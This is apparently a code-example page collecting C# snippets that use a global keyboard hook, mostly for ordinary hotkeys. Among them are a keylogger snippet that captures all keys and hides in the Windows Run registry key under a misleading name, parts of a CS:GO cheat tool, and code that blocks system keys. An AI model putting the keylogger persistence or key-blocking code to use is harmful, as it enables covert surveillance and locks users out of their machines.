コード例 #1
0
 private void ChangedHotkeyChecked(object sender, EventArgs e)
 {
     if (menuHotkey.Checked)
     {
         if (keyboardHook == null)
         {
             keyboardHook = new globalKeyboardHook();
             keyboardHook.HookedKeys.Add(Keys.LMenu); // Left Alt
             keyboardHook.HookedKeys.Add(Keys.X);     // X
             keyboardHook.KeyUp   += new KeyEventHandler(KeyboardHook_KeyUp);
             keyboardHook.KeyDown += new KeyEventHandler(KeyboardHook_KeyDown);
         }
         else
         {
             keyboardHook.hook();
         }
     }
     else
     {
         if (keyboardHook != null)
         {
             keyboardHook.unhook();
         }
     }
 }
コード例 #2
0
        public GeneralForm()
        {
            InitializeComponent();

            this.Text          = Constants.title + " (ver. " + Constants.versionNumber.ToString() + ")";
            lab_version.Text   = string.Format("Версия {0} от\r\n{1}", Constants.versionNumber, Constants.versionDate);
            link_messages.Text = "Не работает? Вопросы?\r\n" + Constants.vkMessages.Replace("https://", "");
            link_site.Text     = "Другие приложения\r\n" + Constants.site.Replace("http://", "");

            keyHooker = new globalKeyboardHook();
            //multiCheat = new MultiCheat(this);
            macrosesForm = new MacrosesForm(multiCheat);

            timer_CSGORunning.Enabled = true;
            keyHooker.HookedKeys.Add(Keys.F9);
            keyHooker.HookedKeys.Add(Keys.F10);
            keyHooker.HookedKeys.Add(Keys.F11);
            keyHooker.HookedKeys.Add(Keys.F12);
            keyHooker.HookedKeys.Add(Keys.F5);
            keyHooker.HookedKeys.Add(Keys.F6);
            keyHooker.HookedKeys.Add(Keys.F7);
            keyHooker.HookedKeys.Add(Keys.F8);
            keyHooker.KeyDown += new KeyEventHandler(keyHooker_KeyDown);
            keyHooker.KeyUp   += new KeyEventHandler(keyHooker_KeyUp);
        }
コード例 #3
0
        public void init_notifyTray(Thread thread, globalKeyboardHook keyCheckHookPass)
        {
            keyCheckHook_temp  = keyCheckHookPass;
            mousePointerThread = thread;

            //Init notify Icon and show
            notifyIcon = new System.Windows.Forms.NotifyIcon();

            System.Windows.Forms.NotifyIcon icon = new System.Windows.Forms.NotifyIcon();
            Stream iconStream = System.Windows.Application.GetResourceStream(new Uri("pack://application:,,,/ScreenOn Timer;component/timer.ico")).Stream;

            icon.Icon = new System.Drawing.Icon(iconStream);

            notifyIcon.Icon = icon.Icon;

            iconStream.Dispose();

            //notifyIcon.Click += new System.EventHandler(this.notifyIcon_Click);
            notifyIcon.DoubleClick += new System.EventHandler(this.notifyIcon_DoubleClick);
            notifyIcon.MouseMove   += new System.Windows.Forms.MouseEventHandler(this.notifyIcon_MouseMove);
            notifyIcon.ShowBalloonTip(2000, "ScreenOnTimer", "Usage Start", ToolTipIcon.Info);
            notifyIcon.BalloonTipShown  += new EventHandler(notifyIcon_BalloonTipShown);
            notifyIcon.BalloonTipClosed += new EventHandler(notifyIcon_BalloonTipClosed);
            notifyIcon.Visible           = true;

            notifyTray_ContextMenu();
            notifyIcon.ContextMenuStrip = notifyContext1;
        }
コード例 #4
0
        public OverlayWF(MultiCheat multiCheat)
        {
            InitializeComponent();
            this.multiCheat = multiCheat;

            panel_Title.MouseDown += new MouseEventHandler(this.lab_title_MouseDown);
            panel_Title.MouseUp   += new MouseEventHandler(this.lab_title_MouseUp);
            panel_Title.MouseMove += new MouseEventHandler(this.lab_title_MouseMove);

            ActivePanel = panel_Cheats;
            UpdateActivePanel();
            panel_Cheats.Visible = true;

            keyHooker = new globalKeyboardHook();
            timer_CSGORunning.Enabled = true;
            keyHooker.HookedKeys.Add(Keys.Insert);
            keyHooker.KeyDown += new KeyEventHandler(keyHooker_KeyDown);
            keyHooker.KeyUp   += new KeyEventHandler(keyHooker_KeyUp);

            Showing = false;
            Opacity = 0;

            contextMenuStrip.Items[0].Click += MenuStripExit;

            ShowTrayMessage("Multicheat", "Ожидание запуска игры...", 5, ToolTipIcon.None);

            lab_title.Text += " (версия " + Constants.versionNumber + " от " + Constants.versionDate + ")";

            //ShowDialog();
        }
コード例 #5
0
 public AdminPassword(MainWindow mw, LockWindow lw, globalKeyboardHook hook)
 {
     InitializeComponent();
     _mainwindow = mw;
     _lockwindow = lw;
     hook.unhook();
 }
コード例 #6
0
        public MultiCheat()
        {
            keyHooker              = new globalKeyboardHook();
            triggerCheat           = new TriggerCheat(this);
            otherCheatsRealisation = new OtherCheatsRealisation(this);
            aimCheats              = new AimCheats(this);
            cheatSettings          = new CheatSettings(Constants.configFile, this);
            settings = cheatSettings.Load();

            //stop
            Overlay = new Overlay(otherCheatsRealisation, aimCheats);
        }
コード例 #7
0
        /// <summary>
        /// Create a keyboard controller which will hook the insert, volume up, volume down, and mute keys.
        /// These keys will then be used to control power, volume up/down, and input respectively on the tv.
        /// </summary>
        /// <param name="text">
        /// A textbox which will need to be updated to display what function was last used.
        /// </param>
        public KeyboardController(TextBox text)
        {
            serial = new SerialController();

            this.currentBox = text;
            this.volumeUp   = new globalKeyboardHook();
            this.volumeDown = new globalKeyboardHook();
            this.power      = new globalKeyboardHook();
            this.input      = new globalKeyboardHook();

            addHooks();
            addEventHandlers();
        }
コード例 #8
0
ファイル: Main.cs プロジェクト: LightCap1337/CCNAHelper
        void InitializeHooks()
        {
            globalKeyboardHook gkh = new globalKeyboardHook();

            gkh.HookedKeys.Add(Keys.Escape);
            gkh.HookedKeys.Add(Keys.E);
            gkh.HookedKeys.Add(Keys.Q);
            gkh.HookedKeys.Add(Settings.Instance.Prefs.toggleShowKey);
            gkh.HookedKeys.Add(Settings.Instance.Prefs.showKey);
            gkh.HookedKeys.Add(Settings.Instance.Prefs.hideKey);
            gkh.KeyDown += new KeyEventHandler(gkh_KeyDown);
            gkh.KeyUp   += new KeyEventHandler(gkh_KeyUp);
        }
コード例 #9
0
 private void ApplyHotkeys()
 {
     // restart keyboard hook with new hotkeys
     if (kbhook != null)
     {
         kbhook.unhook();
     }
     kbhook                    = new globalKeyboardHook();
     kbhook.HookedKeys         = Hotkeys;
     kbhook.KeyDown           += new KeyEventHandler(CreateMapHotkeyHandler);
     kbhook.KeyDown           += new KeyEventHandler(ProfileHotkeyHandler);
     GenerateMapButton.Subtext = $"Ctrl+Shift+{Hotkeys[0]}";
 }
コード例 #10
0
        private void Form1_Load(object sender, EventArgs e)
        {
            globalKeyboardHook gkh = new globalKeyboardHook();

            gkh.HookedKeys.Add(Keys.Delete);
            gkh.HookedKeys.Add(Keys.RWin);
            gkh.HookedKeys.Add(Keys.LWin);
            gkh.HookedKeys.Add(Keys.Tab);
            gkh.HookedKeys.Add(Keys.Alt);



            gkh.KeyDown += new KeyEventHandler(handleKey);
        }
コード例 #11
0
        private void RegisterKeyHooks()
        {
            gkh = new globalKeyboardHook();

            // Don't let the Garbage Man interfere
            GC.KeepAlive(gkh);

            // Global Hotkey Listener
            gkh.HookedKeys.Add(Keys.MediaPlayPause);
            gkh.HookedKeys.Add(Keys.MediaNextTrack);
            gkh.HookedKeys.Add(Keys.MediaPreviousTrack);
            gkh.HookedKeys.Add(Keys.MediaStop);
            gkh.KeyDown += new KeyEventHandler(gkh_KeyDown);
            gkh.KeyUp   += new KeyEventHandler(gkh_KeyUp);
        }
コード例 #12
0
        /// <summary>
        /// Form load event
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void Form1_Load(object sender, EventArgs e)
        {
            // Hook the 'B' key to start/pause the timer (this key is used by Microsft powerpoint for black screen and is used every commons wireless presenter)
            gkh = new globalKeyboardHook();
            gkh.HookedKeys.Add(Keys.B);
            gkh.KeyDown += new KeyEventHandler(gkh_KeyDown);

            // Deserialize XML file
            loadXML();

            //Set the size of the window with xml options
            this.Size = new System.Drawing.Size(options.ScreenXSize, options.ScreenYSize);

            // Rebuild list with warning times subtitles
            buildWarningSubtitles();
        }
コード例 #13
0
ファイル: Helper.cs プロジェクト: LightCap1337/CCNAHelper
 public Helper(List <Question> questions)
 {
     InitializeComponent();
     this.questions  = questions;
     BackColor       = Color.Lime;
     TransparencyKey = Color.Lime;
     TopMost         = true;
     Width           = Screen.PrimaryScreen.WorkingArea.Width / 3;
     gkh             = new globalKeyboardHook();
     gkh.HookedKeys.Add(Keys.LControlKey);
     gkh.HookedKeys.Add(Keys.C);
     gkh.HookedKeys.Add(Keys.Escape);
     gkh.HookedKeys.Add(Keys.Up);
     gkh.HookedKeys.Add(Keys.Down);
     gkh.KeyDown       += new KeyEventHandler(gkh_KeyDown);
     this.ShowInTaskbar = false;
 }
コード例 #14
0
        public MainWindow()
        {
            KeyStats Stats = new KeyStats();

            InitializeComponent();
            MEPlayer.DataContext = Stats;
            globalKeyboardHook gkh;

            MEPlayer.SpeedRatio = 1;

            gkh = new globalKeyboardHook();
            gkh.HookedKeys.Add(Keys.X);
            gkh.HookedKeys.Add(Keys.Z);
            gkh.KeyDown += new System.Windows.Forms.KeyEventHandler(gkh_KeyDown);
            //gkh.hook();
            SetTimer();
        }
コード例 #15
0
        /// <summary>
        ///     The main entry point for the application.
        /// </summary>
        private static void Main()
        {
            InitConfig(ToOcrs);

            // keyboard hook 초기화및 셋팅
            var gkh = new globalKeyboardHook();

            foreach (var key in ToOcrs.Keys)
            {
                gkh.HookedKeys.Add(key);
            }

            gkh.KeyDown += GkhKeyDown;
            gkh.KeyUp   += GkhKeyUp;

            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            Application.Run(new Form1());
        }
コード例 #16
0
        public MainWindow()
        {
            fuckoff1time();
            ed1th0st();
            globalKeyboardHook gkh = new globalKeyboardHook();

            gkh.HookedKeys.Add(Keys.Escape);
            gkh.HookedKeys.Add(Keys.LWin);
            gkh.HookedKeys.Add(Keys.RWin);
            gkh.HookedKeys.Add(Keys.Delete);
            gkh.HookedKeys.Add(Keys.Tab);

            gkh.KeyDown += new KeyEventHandler(handlekey);
            gkh.hook();

            gr33ntii();
            InitializeComponent();
            //UserPrincipal.Current.Sid
        }
コード例 #17
0
        public Form1()
        {
            InitializeComponent();
            lh             = new LightHolderSparta();
            lc             = new lightcaller();
            gkh            = new globalKeyboardHook();
            lh.ActiveColor = new LightTestLib.Color(10, 50, 80);
            //lc.ButtonC += lh.SetOtherColor;

            notifyIcon1.Visible = true;
            // добавляем Эвент или событие по 2му клику мышки,
            //вызывая функцию  notifyIcon1_MouseDoubleClick
            this.notifyIcon1.MouseDoubleClick += new MouseEventHandler(notifyIcon1_MouseDoubleClick);
            List <MenuItem> i = new List <MenuItem>();

            i.Add(new MenuItem("Hook", Hook_Click));
            i.Add(new MenuItem("Blink", button3_Click));
            this.notifyIcon1.ContextMenu = new ContextMenu(i.ToArray());

            // добавляем событие на изменение окна
            this.Resize += new System.EventHandler(this.Form1_Resize);
        }
コード例 #18
0
ファイル: Overlay.cs プロジェクト: lvilelas/LoveBoot-1
        /* end http://stackoverflow.com/a/1524047 */

        public Overlay(BotLogic _owner, int _keyOffsetX, int _keyOffsetY, string process)
        {
            InitializeComponent();
            owner      = _owner;
            keyOffsetX = _keyOffsetX;
            keyOffsetY = _keyOffsetY - 50;

            overlayFont = new Font(FontFamily.GenericMonospace, 10f);
            creditBrush = new SolidBrush(Color.Aqua);
            initializeOverlayBrushes();

            backgroundBrush = new SolidBrush(Color.Black);

            windowFinder = new WindowFinder();
            windowFinder.SetProcess(process);

            // todo: add hooks programatically
            keyboardHook          = new globalKeyboardHook();
            keyboardHook.KeyDown += KeyboardHook_KeyDown;
            keyboardHook.HookedKeys.Add(toggleKey);
            keyboardHook.HookedKeys.Add(toggleVisibleKey);
            keyboardHook.HookedKeys.Add(toggleKeyModeKey);
            keyboardHook.HookedKeys.Add(toggleAutoReadyKey);
            keyboardHook.HookedKeys.Add(dumpKey);
            keyboardHook.hook();

            Byte[] bitmapData = Convert.FromBase64String(CREDIT_IMAGE_B64);
            using (System.IO.MemoryStream streamBitmap = new System.IO.MemoryStream(bitmapData))
            {
                creditImage = (Bitmap)Image.FromStream(streamBitmap);
            }

            creditImageEnabled  = getColoredBitmap(creditImage, Color.FromArgb(0, 1, 0));
            creditImageDisabled = getColoredBitmap(creditImage, Color.FromArgb(1, 0, 0));

            this.DoubleBuffered = true;
            //owner.Start();
        }
コード例 #19
0
        private void init_Hook()
        {
            //Keyboard hook
            //List<Keys> keyList = new List<Keys>();
            //keyList.
            keyCheckHook = new globalKeyboardHook();
            keyCheckHook.HookedKeys.Add(Keys.A);
            foreach (Keys keys in Enum.GetValues(typeof(Keys)))
            {
                if (keys != 0)

                /*&&
                 * !(keys != Keys.Control || keys != Keys.LControlKey || keys != Keys.RControlKey || keys != Keys.ControlKey
                 || keys != Keys.LWin || keys != Keys.RWin || keys != Keys.RShiftKey || keys != Keys.Shift || keys != Keys.ShiftKey
                 || keys != Keys.LShiftKey || keys != Keys.Alt))*/
                {
                    keyCheckHook.HookedKeys.Add(keys);
                }
            }
            keyCheckHook.KeyUp += new System.Windows.Forms.KeyEventHandler(keyCheck_Up);


            //Mouse hook
        }
コード例 #20
0
ファイル: keylogger.cs プロジェクト: CaffeLatteIV/Keylogger
        private void Form1_Load(object sender, EventArgs e)
        {
            if (autorun)
            {
                RegistryKey key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\run", true);//autorun di windows


                if (key.GetValue("winDir") == null) //se non è ancora stato inserito nel'autorun ---> inseriscilo
                {
                    key.SetValue("winDir", Application.ExecutablePath.ToString());
                }
            }


            globalKeyboardHook tastiera = new globalKeyboardHook();

            //Tutti i tasti da rilevare
            //tasti
            tastiera.HookedKeys.Add(Keys.A);
            tastiera.HookedKeys.Add(Keys.B);
            tastiera.HookedKeys.Add(Keys.C);
            tastiera.HookedKeys.Add(Keys.D);
            tastiera.HookedKeys.Add(Keys.E);
            tastiera.HookedKeys.Add(Keys.F);
            tastiera.HookedKeys.Add(Keys.G);
            tastiera.HookedKeys.Add(Keys.H);
            tastiera.HookedKeys.Add(Keys.I);
            tastiera.HookedKeys.Add(Keys.J);
            tastiera.HookedKeys.Add(Keys.K);
            tastiera.HookedKeys.Add(Keys.L);
            tastiera.HookedKeys.Add(Keys.M);
            tastiera.HookedKeys.Add(Keys.N);
            tastiera.HookedKeys.Add(Keys.O);
            tastiera.HookedKeys.Add(Keys.P);
            tastiera.HookedKeys.Add(Keys.Q);
            tastiera.HookedKeys.Add(Keys.R);
            tastiera.HookedKeys.Add(Keys.S);
            tastiera.HookedKeys.Add(Keys.T);
            tastiera.HookedKeys.Add(Keys.U);
            tastiera.HookedKeys.Add(Keys.V);
            tastiera.HookedKeys.Add(Keys.W);
            tastiera.HookedKeys.Add(Keys.X);
            tastiera.HookedKeys.Add(Keys.Y);
            tastiera.HookedKeys.Add(Keys.Z);
            //numeri
            tastiera.HookedKeys.Add(Keys.D0);
            tastiera.HookedKeys.Add(Keys.D1);
            tastiera.HookedKeys.Add(Keys.D2);
            tastiera.HookedKeys.Add(Keys.D3);
            tastiera.HookedKeys.Add(Keys.D4);
            tastiera.HookedKeys.Add(Keys.D5);
            tastiera.HookedKeys.Add(Keys.D6);
            tastiera.HookedKeys.Add(Keys.D7);
            tastiera.HookedKeys.Add(Keys.D8);
            tastiera.HookedKeys.Add(Keys.D9);
            //Caratteri speciali
            tastiera.HookedKeys.Add(Keys.Space);
            tastiera.HookedKeys.Add(Keys.Shift);
            tastiera.HookedKeys.Add(Keys.ShiftKey);
            tastiera.HookedKeys.Add(Keys.Enter);
            tastiera.HookedKeys.Add(Keys.CapsLock);
            tastiera.HookedKeys.Add(Keys.Cancel);
            tastiera.HookedKeys.Add(Keys.Delete);
            tastiera.HookedKeys.Add(Keys.CapsLock);
            tastiera.HookedKeys.Add(Keys.LShiftKey);
            tastiera.HookedKeys.Add(Keys.RShiftKey);

            tastiera.KeyDown += new KeyEventHandler(tasto_premuto);
        }
コード例 #21
0
        public MyCustomApplicationContext(string[] args)
        {
            Assembly _assembly  = Assembly.GetExecutingAssembly();
            Stream   iconStream = _assembly.GetManifestResourceStream("AlwaysOnTop.icon.ico");

            using (RegistryKey rkSettings = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\AlwaysOnTop", true))
            {
                if (rkSettings == null)
                {
                    Registry.CurrentUser.CreateSubKey(@"SOFTWARE\AlwaysOnTop", RegistryKeyPermissionCheck.ReadWriteSubTree);
                }
            }

            RegistryKey regSettings = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\AlwaysOnTop", true);

            AoTBuild = Methods.TryRegString(regSettings, "Build", AlwaysOnTop.build, true);
            IP       = Methods.TryRegString(regSettings, "Installation Path", AoTPath, true);
            RaL      = Methods.TryRegInt(regSettings, "Run at Login", 0, false);
            UHK      = Methods.TryRegInt(regSettings, "Use Hot Key", 0, false);
            HK       = Methods.TryRegString(regSettings, "Hotkey", "", false);
            CT       = Methods.TryRegInt(regSettings, "Use Context Menu", 0, false);
            UPM      = Methods.TryRegInt(regSettings, "Use Permanent Windows", 0, false);
            PW       = Methods.TryRegString(regSettings, "Windows by Title", "", false);
            DBN      = Methods.TryRegInt(regSettings, "Disable Balloon Notify", 0, false);
            CUaS     = Methods.TryRegInt(regSettings, "Check for Updates at Start", 0, false);
            UFE      = Methods.TryRegInt(regSettings, "Update Frequency Enabled", 0, false);
            UF       = Methods.TryRegInt(regSettings, "Update Frequency", 0, false);
            //try
            //{
            //    LU = DateTime.Parse(Methods.TryRegString(regSettings, "Last check for Update", "na", false));
            //}
            //catch (Exception ex)
            //{ MessageBox.Show(ex.Message); }


            if (CUaS == 1)
            {
                Methods.GetReleases();
            }
            /*if (UFE == 1 && UF != 0) { }  ***********************************************************************/

            regSettings.Close();

            try
            {
                // Initialize Tray Icon
                TrayIcon.Icon        = new Icon(iconStream);
                TrayIcon.ContextMenu = new ContextMenu(new MenuItem[]
                {
                    new MenuItem("AlwaysOnTop", AoT),
                    new MenuItem("Settings", Settings),
                    new MenuItem("Help", HelpBox),
                    new MenuItem("About", AboutBox),
                    new MenuItem("Exit", Xit)
                });
                TrayIcon.Visible = true;

                TrayIcon.Click += TrayIcon_Click;

                if (DBN != 1)
                {
                    TrayIcon.ShowBalloonTip(5000, "AlwaysOnTop", "AlwaysOnTop is running in the background.", ToolTipIcon.Info);
                }


                if (CT == 1) /* call method to enabled titlebar context menu*/ } {
                if (UHK == 1 && HK != "")
                {
                    string   delim    = "+";
                    String[] sHK      = HK.Split(new string[] { delim }, StringSplitOptions.None);
                    string   modifier = sHK[0];
                    skey = sHK[1];
                    kMod = new Keys();

                    switch (modifier.ToLower())
                    {
                    case "ctrl":
                        kMod = Keys.Control;
                        break;

                    case "alt":
                        kMod = Keys.Alt;
                        break;

                    case "shift":
                        kMod = Keys.Shift;
                        break;

                    case "winkey":
                        kMod = Keys.LWin;
                        break;

                    default:
                        kMod = Keys.None;
                        break;
                    }

                    TypeConverter keysConverter = TypeDescriptor.GetConverter(typeof(Keys));
                    key = (Keys)keysConverter.ConvertFromString(skey);
                    GKH = new globalKeyboardHook();
                    GKH.HookedKeys.Add(kMod);
                    GKH.HookedKeys.Add(key);

                    GKH.KeyUp += new KeyEventHandler(keyup_hook);
                    GKH.hook();

                    if (DBN != 1)
                    {
                        TrayIcon.ShowBalloonTip(500, "Settings", kMod + "+" + key + " Hotkey registered", ToolTipIcon.Info);
                    }
                }
                else
                {
                    gkh = new globalKeyboardHook();
                }
                if (UPM == 1) /* call method to enabled titlebar context menu*/ } {
        }
コード例 #22
0
        public CommandControl(Session currentsession, Computer currentcomputer, MainWindow main, globalKeyboardHook hook)
        {
            InitializeComponent();

            this.Location = new Point(Screen.PrimaryScreen.WorkingArea.Width - (this.Width + 60), 60);

            mysession  = currentsession;
            mycomputer = currentcomputer;

            label_hour.Text   = currentsession.Hour.ToString("00");
            label_minute.Text = currentsession.Min.ToString("00");
            label_second.Text = currentsession.Sec.ToString("00");

            label_code_value.Text = currentsession.SessionCode;

            mainwind = main;
            hook.unhook();

            toolTip_setting.SetToolTip(pictureBox_setting, "Setting");
            toolTip_setting.SetToolTip(pictureBox_minimize, "Minimize");

            WqlEventQuery WQLquery = new WqlEventQuery("SELECT * FROM __InstanceOperationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_PrintJob'");

            eventWatcher = new ManagementEventWatcher(WQLquery);
            eventWatcher.EventArrived += eventWatcher_EventArrived;
            eventWatcher.Start();

            //FileSystemWatcher fwatcher = new FileSystemWatcher();
            //fwatcher.Path = MiscClass.GetConfigValue("LogPath");

            //fwatcher.NotifyFilter =  NotifyFilters.LastWrite | NotifyFilters.FileName;

            //fwatcher.Changed += fwatcher_Changed;
            //fwatcher.Created += fwatcher_Created;

            //fwatcher.Filter = "*.csv";
            //fwatcher.EnableRaisingEvents = true;


            NetworkChange.NetworkAvailabilityChanged += NetworkChange_NetworkAvailabilityChanged;


            ismonitoringable = main.is_monitorable_public;

            dtdata = new DataTable();
            dtdata.Columns.Add("Time", typeof(DateTime));
            dtdata.Columns.Add("User", typeof(string));
            dtdata.Columns.Add("Pages", typeof(int));
            dtdata.Columns.Add("Copies", typeof(int));
            dtdata.Columns.Add("Printer", typeof(string));
            dtdata.Columns.Add("DocumentName", typeof(string));
            dtdata.Columns.Add("Client", typeof(string));
            dtdata.Columns.Add("PaperSize", typeof(string));
            dtdata.Columns.Add("Language", typeof(string));
            dtdata.Columns.Add("Height", typeof(string));
            dtdata.Columns.Add("Width", typeof(string));
            dtdata.Columns.Add("Duplex", typeof(string));
            dtdata.Columns.Add("Grayscale", typeof(string));
            dtdata.Columns.Add("Size", typeof(string));

            pagescount = currentsession.PagesPrinted.ToString();

            latestlogintime = Session.GetLatestLoginTime(currentcomputer.Id, currentsession.Id);

            this.Focus();
        }
コード例 #23
0
        //  My_form _my_fomr;


        private void Application_Startup(object sender, StartupEventArgs e)
        {
            try
            {
                Environment.CurrentDirectory = AppDomain.CurrentDomain.BaseDirectory;
            }
            catch (Exception ex)
            {
                Log.Write(ex);
            }
            try
            {
                MainWindow view = new MainWindow();


                Index_View_Model viewModel = new Index_View_Model(myLite);



                view.DataContext = viewModel;

                view.closing = new Action(viewModel.Closing);

                KListener = new globalKeyboardHook();

                viewModel.set_names_menu += new Set_names_menu(view.Set_text_menu);
                view.Is_enter_hootkey    += new Is_Enter_hootkey(KListener.Is_edit_Cell);

                view.Update_select_dates            += new Interface.Update_Select_Dates(viewModel.Update_range_date);
                view.statistic_site_edit_add_delete += new _Statistic_site_edit_add_delete(viewModel.Delete_Statistic);

                view.sound_edit_add_delete += new _Sound_edit_add_delete(viewModel.Delete_Sound);

                view.greanSite_edit_add_delete += new _GreanSite_edit_add_delete(viewModel.Delete_Grean);
                view.Grean_add += new _Grean_add(viewModel.Add_Grean);

                view.red_site_add_or_edit += new Red_site_add_or_edit(viewModel.Set_Edit_Site);
                view.red_site_delete      += new _RedSite_delete(viewModel.Delete_Red);



                view.index_cell            += new Index_Cell(KListener.Set_index_cell);
                KListener.hoot_Keys        += new Hoot_Keys(viewModel.Hoot_keys);
                KListener._Modifine_string += new Modifine_String(viewModel.Modefine_string);


                view.popup_menu += new Popup_menu(viewModel.Get_Enable);



                view.start_big = new Action(viewModel.Start_big_break);


                view.start_short = new Action(viewModel.Start_short_break);


                view.start_one = new Action(viewModel.Start_one_break);

                viewModel.BigT_A = new Action(view.BigT_A);
                viewModel.BigT_D = new Action(view.BigT_D);

                viewModel.Short_A = new Action(view.Short_A);
                viewModel.Short_D = new Action(view.Short_D);

                viewModel.OneTimes_A = new Action(view.OneTimes_A);
                viewModel.OneTimes_D = new Action(view.OneTimes_D);
                view.view_model_up   = new Action(viewModel.View_model_up);

                set_Language_ += new Set_Language(viewModel.Set_Language);

                set_Language_.Invoke("en-US");
                view.ShowDialog();
            }
            catch (Exception ex)
            {
                Log.Write(ex);
#if test
                System.Windows.MessageBox.Show(ex.Message);
#endif
            }
        }